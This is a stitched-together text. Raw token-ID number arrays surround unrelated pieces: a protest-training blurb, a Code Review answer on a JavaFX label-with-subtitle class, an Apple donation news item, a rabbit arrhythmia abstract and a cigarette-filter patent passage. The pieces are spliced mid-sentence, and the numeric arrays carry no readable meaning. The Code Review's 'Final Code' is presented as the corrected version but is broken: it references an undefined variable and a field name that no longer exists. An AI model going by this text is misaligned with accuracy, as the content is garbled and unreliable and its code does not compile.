15, 15358, 27, 187, 187, 2377, 5204, 749, 5564, 4312, 187, 8428, 5204, 2460, 187, 5564, 2776, 5204, 4060, 4312, 187, 187, 1552, 671, 10384, 281, 253, 1716, 26161, 15, 187, 46, 2865, 187, 187, 9486, 2991, 2012, 1082, 551, 187, 50274, 1911, 9, 30857, 13, 470, 13, 470, 13, 337, 13, 374, 558, 187, 50274, 1911, 9, 5564, 13, 337, 13, 470, 558, 187, 50274, 1911, 9, 2377, 13408, 13, 337, 13, 337, 558, 187, 94, 187, 187, 3404, 806, 17834, 13, 436, 2789, 642, 3282, 15, 2053, 3904, 403, 625, 751, 10721, 3904, 27, 1056, 731, 247, 3638, 27, 187, 9486, 4228, 2457, 540, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 57, 426, 470, 28, 187, 9486, 4228, 2457, 540, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 58, 426, 470, 28, 187, 187, 9486, 4228, 2457, 540, 4392, 5529, 35, 64, 4350, 1539, 64, 58, 426, 374, 28, 187, 187, 9486, 4228, 2457, 540, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 426, 337, 28, 187, 9486, 4228, 2457, 540, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 426, 470, 28, 187, 187, 9486, 4228, 2457, 540, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 426, 337, 28, 187, 9486, 4228, 2457, 540, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 426, 337, 28, 187, 187, 395, 187, 9486, 2991, 2012, 1082, 551, 187, 50274, 1911, 9, 30857, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50274, 1178, 13317, 18821, 9, 30857, 13, 4392, 5529, 35, 64, 4350, 1539, 64, 58, 558, 187, 50274, 1911, 9, 5564, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50274, 1911, 9, 2377, 13408, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 94, 187, 187, 8497, 326, 309, 12841, 253, 4194, 13905, 984, 352, 369, 337, 28, 352, 434, 417, 3309, 15, 187, 21747, 6307, 27, 187, 10708, 3631, 8999, 15, 13510, 11495, 28, 187, 187, 2948, 19199, 50095, 15, 32280, 15, 8519, 15, 11495, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 6586, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 45799, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 7916, 15, 15099, 32118, 28, 187, 187, 6930, 187, 475, 187, 475, 1214, 7582, 329, 312, 343, 465, 5582, 187, 1738, 187, 4387, 966, 24527, 3378, 5623, 5564, 8725, 23566, 32118, 551, 535, 50274, 9486, 2457, 24527, 4060, 426, 747, 24527, 1874, 187, 50274, 9486, 2457, 24527, 749, 5564, 426, 747, 24527, 1874, 187, 50274, 9486, 2457, 10882, 3145, 17300, 426, 747, 10882, 3145, 1874, 535, 50274, 4387, 24527, 3378, 5623, 5564, 9, 2776, 4060, 4312, 13, 4605, 749, 5564, 4312, 13, 10882, 17300, 10, 551, 187, 50270, 1178, 13408, 9, 5564, 4312, 558, 187, 50270, 1178, 5623, 5564, 9, 2377, 5564, 4312, 558, 187, 50270, 1178, 1044, 3561, 9, 30857, 558, 187, 50270, 4478, 1874, 187, 50274, 94, 535, 50274, 9486, 2991, 873, 5623, 5564, 9, 2776, 749, 10, 551, 187, 50270, 2377, 5564, 15, 32256, 9, 2377, 5564, 4312, 558, 187, 50274, 94, 535, 50274, 9486, 2991, 873, 1044, 3561, 9, 6586, 2460, 10, 551, 187, 50270, 30857, 15, 1178, 6586, 9, 5695, 558, 187, 50274, 94, 535, 50274, 9486, 2991, 873, 13408, 9, 2776, 4060, 4312, 10, 551, 187, 50270, 5564, 15, 32256, 9, 5564, 4312, 558, 187, 50274, 94, 535, 50274, 9486, 2991, 2012, 1082, 551, 187, 50270, 1911, 9, 30857, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50270, 1178, 13317, 18821, 9, 30857, 13, 4392, 5529, 35, 64, 4350, 1539, 64, 58, 558, 187, 50270, 1911, 9, 5564, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50270, 1911, 9, 2377, 13408, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50274, 94, 187, 187, 94, 535, 25989, 556, 10098, 247, 747, 3239, 327, 697, 33139, 16106, 6941, 4212, 281, 4354, 31656, 2583, 281, 253, 2448, 4410, 10547, 2584, 6053, 16639, 545, 3508, 388, 2284, 8202, 6619, 6031, 275, 253, 22075, 15, 380, 23672, 3239, 13, 534, 310, 12482, 949, 253, 2022, 8217, 15, 681, 3239, 285, 253, 15439, 33139, 16106, 13, 16000, 23866, 387, 253, 370, 22, 13, 370, 740, 13, 370, 1099, 13, 370, 1235, 13, 370, 2313, 13, 285, 370, 1518, 2308, 15, 2756, 187, 25989, 588, 3700, 2233, 6, 273, 1016, 23672, 3587, 281, 253, 2448, 4410, 10547, 13, 6941, 4212, 281, 452, 616, 23866, 22595, 13102, 47045, 281, 616, 5368, 33139, 16106, 8553, 15, 2726, 8217, 4390, 5877, 689, 6783, 3041, 33139, 16106, 8553, 342, 6152, 8364, 7660, 13, 253, 2567, 556, 247, 1077, 1534, 7731, 2613, 326, 476, 1379, 5750, 273, 253, 23672, 2086, 15, 187, 187, 25989, 556, 5196, 2067, 2074, 18120, 275, 253, 2469, 13, 954, 4102, 275, 4437, 4050, 1563, 6053, 25576, 27504, 13, 275, 3919, 4332, 1563, 253, 6692, 27108, 285, 246, 49097, 13, 285, 275, 4247, 4267, 1563, 253, 31878, 757, 48833, 15, 1044, 409, 3364, 1351, 329, 19, 14, 6367, 38369, 6358, 275, 253, 49238, 17876, 15, 187, 18139, 3825, 497, 5196, 275, 253, 49238, 17876, 281, 7409, 6297, 323, 38369, 6358, 326, 2826, 846, 1669, 27974, 8829, 273, 253, 13344, 3364, 1351, 329, 9, 19, 10, 313, 29481, 34, 9, 19, 1228, 13892, 1999, 530, 14, 43490, 746, 15, 1780, 83, 14292, 6358, 497, 8558, 273, 17604, 6510, 13, 6178, 7976, 275, 4294, 13, 285, 308, 37582, 9, 19, 10, 6437, 14946, 15, 380, 2380, 369, 6437, 2173, 1580, 38369, 6358, 497, 12125, 846, 33555, 342, 247, 2173, 308, 37582, 9, 19, 10, 6437, 25166, 313, 50185, 14, 22270, 2385, 10, 285, 858, 417, 2826, 275, 2380, 281, 1529, 46400, 249, 13, 367, 4161, 9, 19, 1637, 481, 1219, 350, 569, 275, 14215, 2614, 2685, 497, 11543, 253, 2847, 273, 841, 38369, 6358, 984, 14215, 2614, 2685, 313, 284, 4080, 342, 16094, 2494, 46051, 10, 369, 19965, 846, 530, 14, 43490, 746, 13, 285, 627, 497, 642, 24802, 2544, 275, 253, 36958, 14, 1267, 8223, 15, 496, 1635, 13, 38369, 6358, 858, 417, 2826, 846, 5286, 273, 1529, 16016, 16033, 30862, 263, 313, 7806, 2172, 35594, 481, 380, 2442, 10171, 273, 45852, 10177, 29692, 5652, 22614, 275, 841, 38369, 6358, 369, 671, 6949, 984, 308, 37582, 9, 19, 10, 556, 644, 2011, 281, 23278, 10844, 22614, 15, 24907, 9048, 273, 5074, 342, 253, 9840, 14, 31211, 12598, 6437, 25166, 354, 1087, 9201, 311, 858, 417, 4796, 253, 4294, 273, 841, 38369, 6358, 15, 24907, 9048, 342, 387, 1658, 460, 390, 19379, 12531, 22438, 7369, 275, 271, 2559, 4294, 273, 38369, 6358, 13, 7738, 326, 11619, 1105, 46348, 22614, 778, 2686, 15582, 253, 38369, 7736, 2425, 273, 308, 37582, 9, 19, 481, 2053, 4679, 7568, 326, 1669, 27974, 8829, 273, 530, 14, 43490, 746, 24021, 953, 38369, 6358, 3066, 247, 5122, 3907, 273, 247, 1534, 5141, 275, 14215, 2614, 2685, 390, 5743, 273, 253, 45852, 11219, 985, 15, 733, 310, 1896, 326, 308, 37582, 9, 19, 10, 778, 452, 247, 1480, 1055, 327, 253, 8545, 2425, 273, 253, 2798, 275, 8427, 13, 534, 3400, 1534, 12739, 323, 10177, 3394, 835, 308, 37582, 9, 19, 10, 310, 2559, 13, 299, 15, 72, 904, 846, 17883, 24031, 390, 5286, 273, 30881, 26649, 511, 14, 19, 11531, 15, 34, 5235, 273, 19555, 15116, 452, 644, 4081, 689, 253, 1107, 13, 285, 1142, 273, 841, 15116, 2486, 32449, 5806, 4753, 3782, 275, 594, 14, 8890, 10358, 14, 5641, 14, 17381, 5806, 16669, 15, 496, 841, 5806, 16669, 26549, 7419, 49359, 13, 3798, 1160, 273, 30429, 23150, 13, 4853, 247, 13369, 390, 2317, 627, 17352, 534, 310, 6898, 342, 10115, 2907, 2144, 13, 824, 347, 10115, 2907, 6315, 347, 973, 347, 643, 4753, 15, 1198, 1650, 13, 320, 7917, 2144, 556, 671, 644, 4081, 323, 10199, 715, 253, 2317, 273, 247, 10358, 14, 5641, 14, 17381, 5806, 11461, 15, 380, 4588, 12108, 273, 253, 2317, 778, 320, 275, 247, 11593, 5133, 285, 275, 643, 10872, 253, 12868, 4254, 310, 28446, 19373, 15, 5220, 13, 347, 271, 5795 ]

Getting trained in NVDA will prepare participants to engage in peaceful protect, civil disobedience, and in support roles in nonviolent action in the resistance movement. Trainers are Wendy Rochman, Kenneth Nova, and Gina McAfee.Q: Label with Subtitle This code shows a title with an image and subtitle: What improvements can I make in this code and is there a better of doing this? package Components.CustomLabel; import javafx.scene.control.Label; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.layout.GridPane; /** * * @author Aamir khan */ public class LabelWithSubTitle extends GridPane { private final Label title = new Label(); private final Label subTitle = new Label(); private final ImageView thumb = new ImageView(); public LabelWithSubTitle(String titleString, String subString, Image thumb) { setTitle(titleString); setSubTitle(subString); setThumb(thumb); init(); } private void setSubTitle(String sub) { subTitle.setText(sub); } private void setThumb(Image img) { thumb.setImage(img); } private void setTitle(String titleString) { title.setText(titleString); } private void init() { add(thumb, 0, 0, 1, 2); add(title, 1, 0); add(subTitle, 1, 1); } } A: Just tome nit picks: Formatting This does not make sense: } } I am not sure if this is the formatting problem in copy and pasting from IDE or it was like this in the IDE in the first place. To correctly format your code here, you can copy and paste from your IDE, select all your code, and press ctrl-k or click the {} button at the top of the editing pane: If it is the original way in the IDE, your IDE should have a format option. If you can't find it, search it up on google: you'll eventually find it. Naming Subtitle is one word, so you can easily change subTitle to subtitle. This applies to may parts of your code. private void setSubtitle(String sub) { subtitle.setText(sub); } private void setThumb(Image img) { thumb.setImage(img); } private void setTitle(String titleString) { title.setText(titleString); } Here, you have some shortened names, like sub, and extended names, like titleString. Names should he concise, but understandable. Try: sub -> subtitleText img -> image titleString -> titleText This also applies to the Constructor. Misc private void init() { add(thumb, 0, 0, 1, 2); add(title, 1, 0); add(subTitle, 1, 1); } At first glance, this makes no sense. These numbers are more like magic numbers: make them a constant: private static final int THUMB_COORDINATES_X = 0; private static final int THUMB_COORDINATES_Y = 0; private static final int THUMB_SPAN_Y = 2; private static final int TITLE_COORDINATES_X = 1; private static final int TITLE_COORDINATES_Y = 0; private static final int SUBTITLE_COORDINATES_X = 1; private static final int SUBTITLE_COORDINATES_Y = 1; and private void init() { add(thumb, THUMB_COORDINATES_X, THUMB_COORDINATES_Y); setColumnSpan(thumb, THUMB_SPAN_Y); add(title, TITLE_COORDINATES_X, TITLE_COORDINATES_Y); add(subTitle, SUBTITLE_COORDINATES_X, SUBTITLE_COORDINATES_Y); } Note that I ignored the row span because it was 1; it's not necessary. Final Code: package Components.CustomLabel; import javafx.scene.control.Label; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.layout.GridPane; /** * * @author Aamir khan */ public class LabelWithSubtitle extends GridPane { private final Label title = new Label(); private final Label subtitle = new Label(); private final ImageView thumb = new ImageView(); public LabelWithSubtitle(String titleText, String subtitleText, Image thumb) { setTitle(titleText); setSubtitle(subtitleText); setThumb(thumb); init(); } private void setSubtitle(String sub) { subtitle.setText(subtitleText); } private void setThumb(Image image) { thumb.setImage(image); } private void setTitle(String titleText) { title.setText(titleText); } private void init() { add(thumb, THUMB_COORDINATES_X, THUMB_COORDINATES_Y); setColumnSpan(thumb, THUMB_SPAN_Y); add(title, TITLE_COORDINATES_X, TITLE_COORDINATES_Y); add(subTitle, SUBTITLE_COORDINATES_X, SUBTITLE_COORDINATES_Y); } } Apple has launched a new page on its iTunes Store allowing users to easily donate money to the American Red Cross toward Super Typhoon Haiyan relief efforts in the Philippines. The donation page, which is accessible through the main Apple.com page and the desktop iTunes Store, permits donations at the $5, $10, $25, $50, $100, and $200 levels. Apple will transfer 100% of each donation directly to the American Red Cross, allowing users to have their donations seamlessly billed to their existing iTunes Store accounts. With Apple currently holding over 500 million iTunes Store accounts with credit cards attached, the company has a very significant customer base that can take advantage of the donation program. Apple has conducted several similar campaigns in the past, most recently in October 2012 following Superstorm Sandy, in March 2011 following the Japanese earthquake and tsunami, and in January 2010 following the Haitian earthquakes.Thromboxane A2-induced arrhythmias in the anesthetized rabbit. Experiments were conducted in the anesthetized rabbit to investigate mechanisms for arrhythmias that occur after left atrial injection of the thromboxane A(2) (TxA(2)) mimetic U-46619. Arrhythmias were primarily of ventricular origin, dose dependent in frequency, and TxA(2) receptor mediated. The response was receptor specific since arrhythmias were absent after pretreatment with a specific TxA(2) receptor antagonist (SQ-29548) and did not occur in response to another prostaglandin, PGF(2alpha). Alterations in coronary blood flow were unlikely the cause of these arrhythmias because coronary blood flow (as measured with fluorescent microspheres) was unchanged after U-46619, and there were no observable changes in the ECG-ST segment. In addition, arrhythmias did not occur after administration of another vasoconstrictor (phenylephrine). The potential involvement of autonomic cardiac efferent nerves in these arrhythmias was also investigated because TxA(2) has been shown to stimulate peripheral nerves. Pretreatment of animals with the beta-adrenergic receptor antagonist propranolol did not reduce the frequency of these arrhythmias. Pretreatment with atropine or bilateral vagotomy resulted in an increased frequency of arrhythmias, suggesting that parasympathetic nerves may actually inhibit the arrhythmogenic activity of TxA(2). These experiments demonstrate that left atrial injection of U-46619 elicits arrhythmias via a mechanism independent of a significant reduction in coronary blood flow or activation of the autonomic nervous system. It is possible that TxA(2) may have a direct effect on the electrical activity of the heart in vivo, which provides significant implications for cardiac events where TxA(2) is increased, e.g., after myocardial ischemia or administration of cyclooxygenase-2 inhibitors.A variety of cigarette filters have been proposed over the years, and many of these filters include granular filter materials particularly in so-called plug-space-plug filter arrangements. In these filter arrangements spaced apart plugs, usually made of cellulose acetate, define a cavity or space therebetween which is filled with granulated material, such as granulated carbon as well as other materials. For example, beaded material has also been proposed for introduction into the space of a plug-space-plug filter arrangement. The actual filing of the space may be in a horizontal manner and in other instances the filling operation is vertically oriented. Also, as an alternative

[ 6870, 426, 22008, 15, 12083, 4807, 9, 11317, 15, 788, 14897, 414, 6020, 187, 50266, 94, 2010, 551, 187, 50262, 6870, 426, 22008, 15, 12083, 4807, 9, 11317, 15, 788, 6989, 6074, 6020, 187, 50266, 94, 187, 50270, 94, 5834, 313, 8447, 10069, 5330, 299, 10, 551, 748, 187, 50270, 2309, 906, 28, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 16140, 253, 4438, 4860, 275, 436, 657, 78, 18483, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 4605, 428, 253, 4438, 2876, 15, 1310, 642, 4438, 310, 7616, 13, 840, 346, 83, 3, 187, 50273, 11, 50260, 261, 4895, 15, 5010, 13, 253, 7616, 4438, 310, 4895, 15, 187, 50273, 8480, 187, 50274, 4387, 4605, 755, 10715, 1082, 551, 187, 50270, 2776, 7316, 426, 755, 8053, 1874, 187, 50270, 338, 313, 7267, 3613, 3635, 10, 551, 187, 50266, 2776, 5456, 7316, 16523, 426, 7316, 15, 9148, 1587, 3353, 12, 3287, 187, 50266, 1542, 313, 565, 891, 426, 470, 28, 891, 654, 7316, 16523, 15, 3985, 28, 891, 9234, 551, 187, 50262, 338, 313, 7267, 16523, 60, 74, 1570, 5478, 84, 3378, 1587, 9561, 568, 1228, 551, 187, 50258, 565, 3605, 426, 7316, 16523, 60, 74, 1570, 33966, 2073, 30, 5137, 187, 50258, 2309, 7316, 16523, 60, 74, 1570, 41550, 9, 4663, 12, 18, 558, 187, 50262, 94, 187, 50266, 94, 187, 50270, 94, 187, 50270, 2309, 346, 83, 3664, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 16140, 253, 38917, 2330, 342, 253, 657, 78, 18483, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 38917, 428, 253, 38917, 15, 187, 50273, 11, 1214, 2887, 38917, 187, 50273, 8480, 187, 50274, 4387, 38917, 755, 20201, 1082, 551, 187, 50270, 2309, 41475, 28, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 16140, 253, 13283, 2127, 323, 436, 657, 78, 18483, 15, 380, 13283, 2127, 310, 187, 50273, 11, 8931, 281, 253, 13283, 2127, 323, 253, 6221, 38917, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 540, 428, 253, 13283, 3211, 15, 187, 50273, 11, 1214, 2887, 38917, 4, 13362, 6124, 1082, 187, 50273, 8480, 187, 50274, 4387, 540, 13283, 6124, 1082, 551, 187, 50270, 2309, 41475, 15, 13362, 6124, 1874, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 6004, 323, 3290, 342, 643, 5113, 15, 187, 50273, 11, 187, 50273, 11, 1214, 3575, 1789, 253, 1789, 281, 320, 1071, 323, 13919, 15, 187, 50273, 11, 1214, 2309, 12419, 428, 6548, 2032, 604, 253, 1677, 1789, 310, 273, 1511, 187, 50273, 11, 50259, 55, 78, 18483, 285, 697, 38917, 1673, 310, 4503, 281, 187, 50273, 11, 50259, 2520, 1789, 434, 38917, 1673, 15, 17501, 13, 1091, 3221, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2887, 38917, 4, 22297, 9, 4241, 10, 187, 50273, 8480, 187, 50274, 4387, 12419, 18207, 9, 4241, 1789, 10, 551, 187, 50270, 338, 313, 6082, 2295, 436, 10, 551, 187, 50266, 2309, 2032, 28, 187, 50270, 94, 187, 50270, 338, 45496, 6082, 31979, 657, 78, 18483, 1228, 551, 187, 50266, 2309, 3221, 28, 187, 50270, 94, 187, 50270, 2309, 41475, 15, 22297, 39246, 55, 78, 18483, 10, 6082, 481, 11317, 558, 187, 50274, 94, 535, 50274, 6930, 187, 50273, 11, 31308, 281, 247, 2876, 6779, 15, 1716, 4149, 310, 8931, 281, 187, 50273, 11, 6789, 755, 20201, 5023, 18264, 5023, 831, 778, 1818, 275, 247, 2852, 3727, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2309, 4605, 428, 247, 4605, 6779, 273, 253, 657, 78, 18483, 15, 187, 50273, 11, 187, 50273, 11, 1214, 2887, 38917, 4, 18264, 1082, 187, 50273, 8480, 187, 50274, 4387, 4605, 281, 2776, 1082, 551, 187, 50270, 2309, 41475, 15, 18264, 1874, 187, 50274, 94, 187, 94, 187, 23714, 1775, 17407, 19, 37, 7602, 28, 187, 23714, 1775, 17407, 19, 37, 37764, 5755, 28, 187, 187, 23714, 21004, 19, 9860, 5496, 28, 187, 23714, 8253, 9860, 20359, 28, 187, 187, 23714, 8253, 4522, 383, 554, 28, 187, 23714, 8253, 299, 4277, 28, 187, 23714, 21004, 19, 26721, 28, 187, 187, 4353, 2022, 1082, 187, 92, 187, 50274, 4642, 19, 46556, 426, 1289, 64, 4604, 356, 32876, 15, 5246, 1227, 9860, 5496, 15, 5246, 28, 535, 50274, 4642, 19, 1269, 13736, 426, 21004, 19, 9, 18, 15, 17, 1227, 9860, 5496, 15, 89, 13, 470, 15, 17, 558, 187, 50274, 4642, 19, 340, 13736, 426, 21004, 19, 9, 17, 15, 17, 13, 337, 15, 17, 1227, 9860, 5496, 15, 90, 558, 535, 50274, 9599, 362, 77, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 428, 1269, 13736, 481, 89, 28, 187, 50274, 9599, 362, 83, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 559, 1269, 13736, 481, 89, 28, 187, 50274, 9599, 362, 67, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 428, 340, 13736, 481, 89, 28, 187, 50274, 9599, 362, 85, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 559, 340, 13736, 481, 89, 28, 187, 50274, 9599, 362, 68, 426, 14542, 19, 37, 9, 87, 430, 5755, 13, 46556, 481, 89, 28, 535, 50274, 9599, 4311, 426, 470, 15, 22, 1227, 9860, 20359, 28, 187, 50274, 4642, 19, 3490, 426, 4311, 475, 21004, 19, 9, 5375, 9, 20282, 10, 428, 2117, 9, 30890, 582, 2117, 9, 24987, 10, 428, 2117, 9, 29576, 4027, 187, 50274, 9599, 2978, 44824, 1096, 426, 2781, 9, 4259, 13, 14261, 9, 4774, 13, 3490, 4027, 187, 50274, 4774, 38825, 275, 735, 265, 2274, 9, 3985, 44824, 1096, 10, 475, 26721, 475, 362, 68, 28, 187, 50274, 4774, 15, 90, 38825, 428, 18, 15, 17, 28, 535, 50274, 4642, 19, 5828, 68, 426, 14542, 19, 37, 9, 40106, 13, 46556, 481, 5246, 28, 187, 50274, 3129, 64, 4604, 356, 6573, 426, 21004, 21, 9, 652, 68, 559, 313, 12292, 383, 554, 475, 3490, 582, 470, 15, 17, 13, 337, 15, 17, 558, 187, 94, 187, 2214, 380, 10540, 4683, 388, 47925, 25058, 27, 4223, 2652, 723, 6282, 12048, 1336, 4683, 3599, 15240, 43974, 187, 187, 33768, 275, 3563, 5768, 13, 3872, 21327, 275, 47624, 3054, 751, 15427, 13, 5041, 13, 27540, 13, 285, 27756, 7522, 342, 15211, 270, 9587, 35041, 11525, 281, 1089, 247, 11556, 273, 3644, 2304, 3508, 288, 47925, 25058, 15, 733, 434, 1846, 323, 4831, 281, 8268, 6186, 13, 4283, 281, 15272, 875, 18199, 7108, 665, 452, 2176, 10827, 8871, 3672, 13, 6264, 2619, 398, 13, 285, 5870, 11525, 281, 4035, 616, 5768, 21188, 15, 187, 187, 20536, 281, 1097, 4797, 25058, 285, 29358, 25058, 13, 253, 9279, 310, 594, 7166, 2576, 326, 352, 556, 281, 320, 14245, 13, 11742, 13, 390, 22186, 3517, 846, 8871, 1108, 534, 2789, 288, 47925, 12840, 2952, 1928, 3340, 7771, 8211, 13, 672, 352, 2223, 760, 34756, 432, 4223, 949, 4397, 15, 1583, 497, 2378, 247, 2201, 2739, 323, 1980, 18199, 7108, 751, 253, 714, 518, 2902, 13, 665, 6518, 288, 47925, 12840, 19492, 44958, 949, 271, 7970, 13195, 387, 253, 8871, 9905, 13, 285, 1014, 4536, 4395, 281, 3297, 2810, 281, 4335, 8871, 8593, 15, 187, 187, 34937, 2892, 13, 4560, 285, 8871, 288, 47925, 25058, 556, 644, 1892, 789, 13, 2568, 323, 952, 665, 2389, 731, 13, 253, 3434, 310, 4409, 352, 15, 187, 187, 4527, 512, 253, 3580, 326, 476, 320, 323, 2961, 275, 5041, 434, 443, 1648, 636, 367, 12099, 302, 3313, 16015, 13, 288, 47925, 25058, 755, 253, 954, 4116, 13, 2296, 2273, 2971, 11007, 8141, 1981, 15, 187, 187, 1992, 3693, 660, 2066, 868, 390, 952, 1469, 1728, 342, 6325, 270, 9587, 1666, 43846, 13, 9741, 4323, 275, 253, 954, 4633, 288, 47925, 589, 11729, 9905, 4536, 556, 281, 1908, 9968, 1066, 7139, 281, 1056, 2316, 323, 625, 288, 47925, 12840, 6244, 15, 6975, 1142, 665, 3153, 275, 288, 47925, 12840, 2586, 13, 8141, 1981, 556, 644, 8871, 253, 37408, 521, 2862, 1495, 13, 285, 352, 7819, 247, 2969, 2940, 275, 253, 18557, 715, 594, 1199, 625, 15, 187, 187, 3, 1394, 1472, 562, 627, 323, 247, 1175, 1921, 643, 685, 816, 281, 755, 281, 247, 2176, 1127, 937, 8141, 1981, 2296, 15, 346, 1147, 434, 247, 32196, 7517, 1905, 285, 247, 36766, 581, 449, 380, 37408, 3746, 9075, 751, 247, 33381, 4797, 12840, 326, 588, 17996, 2619, 398, 9881, 285, 10015, 342, 616, 2502, 15447, 15, 187, 187, 18765, 1142, 5870, 452, 644, 288, 47925, 12840, 16121, 323, 1107, 13, 8141, 1981, 285, 643, 9741, 6171, 11719, 31150, 38782, 398, 327, 835, 253, 1682, 288, 47925, 12840, 20412, 1537, 320, 13, 849, 281, 2619, 731, 13, 285, 1905, 15538, 1905, 534, 3672, 281, 3693, 15, 187, 187, 23112, 11743, 4487, 273, 28079, 16, 18635, 296, 6631, 187, 187, 7542, 30953, 13, 271, 2170, 273, 253, 29961, 936, 837, 30014, 28679, 556, 644, 10827, 323, 897, 407, 18199, 7108, 13, 6701, 281, 271, 4345, 875, 714, 518, 2902, 5396, 9060, 7252, 714, 455, 484, 285, 253, 443, 1648, 636, 367, 12099, 302, 16015, 26141, 15, 24709, 2119, 288, 47925, 12840, 2619, 398, 956, 1682, 8333, 310, 1774, 323, 253, 23206, 1905, 285, 323, 1735, 807, 434, 288, 47925, 12840, 323, 16014, 13, 1512, 15, 5595, 21327, 2430, 247, 9659, 285, 2701, 253, 2408, 273, 37408, 247, 1436, 476, 1379, 1728, 15, 3808, 4803, 671, 13199, 326, 37408, 320, 5055, 407, 1133, 13, 1580, 6500, 751, 270, 9587, 1218, 8583, 476, 4723, 253, 6244, 15, 187, 187, 1992, 4035, 1907, 2217, 37408, 281, 564, 1475, 13, 253, 9741, 4323, 2589, 84, 2180, 474, 6938, 20215, 281, 1089, 562, 849, 1142, 288, 47925, 25058, 476, 320, 5055, 10265, 1598, 13, 2296, 9915, 27982, 13, 253, 28164, 2086, 7205, 323, 443, 1648, 636, 15, 1292, 6701, 281, 253, 18395, 273, 288, 47925, 25058, 13, 27982, 11424, 13, 346, 8259, 5404, 310, 21270, 449, 187, 187, 34, 2389, 273, 288, 47925, 25058, 1905, 5678, 342, 616, 22888, 414, 1905, 556, 3562, 247, 8007, 14, 5056, 3434, 281, 4711, 253, 270, 9587, 21917, 15, 496, 253, 4956, 13, 253, 37408, 403, 49618, 285, 497, 2190, 253, 6244, 281, 11883, 253, 30480, 15, 659, 15, 7518, 561, 46140, 275, 9178, 15, 329, 2499, 273, 27756, 22780, 4907, 5682, 4033, 2191, 5262, 689, 767, 8007, 13756, 281, 2794, 247, 41574, 6857, 288, 47925, 12840, 326, 651, 27340, 4711, 17319, 9279, 387, 1728, 15, 754, 14373, 1293, 7576, 3647, 521, 7517, 15, 6491, 3053, 2820, 281, 9836, 366, 253, 4797, 12840, 275, 38701, 13, 4033, 2191, 2183, 380, 15427, 757, 1078, 521, 15072, 15, 346, 2598, 359, 1472, 3212, 327, 253, 2440, 273, 247, 41574, 6857, 288, 47925, 12840, 17177, 15, 1292, 1067, 479, 896, 275, 2233, 1107, 285, 359, 1833, 320, 275, 1663, 1175, 5281, 449, 187, 187, 28440, 39760, 3381, 394, 15494, 327, 4033, 2191, 434, 15040, 281, 1361, 779, 1265, 247, 288, 47925, 12840, 17177, 387, 521, 30014, 708, 20473, 15162, 15, 39760, 3381, 394, 14528, 288, 47925, 25058, 285, 556, 644, 8871, 731, 323, 8007, 15, 533, 4925, 271, 2363, 835, 352, 369, 1892, 281, 755, 715, 253, 9741, 27340, 281, 323, 486, 323, 2994, 15, 187, 187, 3, 42, 15433, 275, 619, 1711, 1897, 309, 812, 816, 873, 544, 484, 62, 619, 37962, 285, 4533, 1066, 253, 4194, 285, 2619, 288, 47925, 25058, 937, 344, 2296, 15, 754, 23846, 8307, 273, 288, 47925, 25058, 285, 20311, 281, 3343, 1905, 323, 247, 1077, 1048, 673, 15, 346, 2374, 253, 20117, 807, 309, 1694, 619, 806, 37408, 13, 285, 417, 1142, 952, 403, 1469, 281, 4444, 1633, 285, 923, 642, 1091, 323, 5093, 1107, 937, 344, 2296, 15, 187, 187, 510, 1273, 807, 326, 521, 6244, 4197, 37408, 13, 344, 7303, 281, 755, 2217, 432, 521, 1643, 4289, 6244, 281, 1056, 247, 346, 40199, 3376, 449, 11474, 597, 1472, 7964, 288, 47925, 25058, 13, 344, 11210, 626, 6786, 253, 346, 5672, 288, 47925, 12840, 9075, 3, 1905, 534, 344, 2296, 344, 476, 626, 6266, 533, 588, 871, 672, 344, 27491, 352, 15, 187, 187, 3074, 436, 3434, 2506, 626, 4555, 1056, 253, 288, 47925, 12840, 33567, 323, 6264, 3275, 15, 9110, 352, 651, 320, 247, 19708, 11714, 323, 667, 288, 430, 2702, 321, 382, 326, 7303, 352, 1905, 275, 253, 4956, 13, 627, 3365, 6403, 626, 2217, 37408, 281, 564, 1475, 15, 187, 187, 3, 17004, 7389, 839, 253, 4956, 288, 47925, 12840, 310, 7479, 937, 2296, 329, 2225, 399, 2027, 376, 13, 15629, 11652, 275, 253, 288, 430, 2702 ]

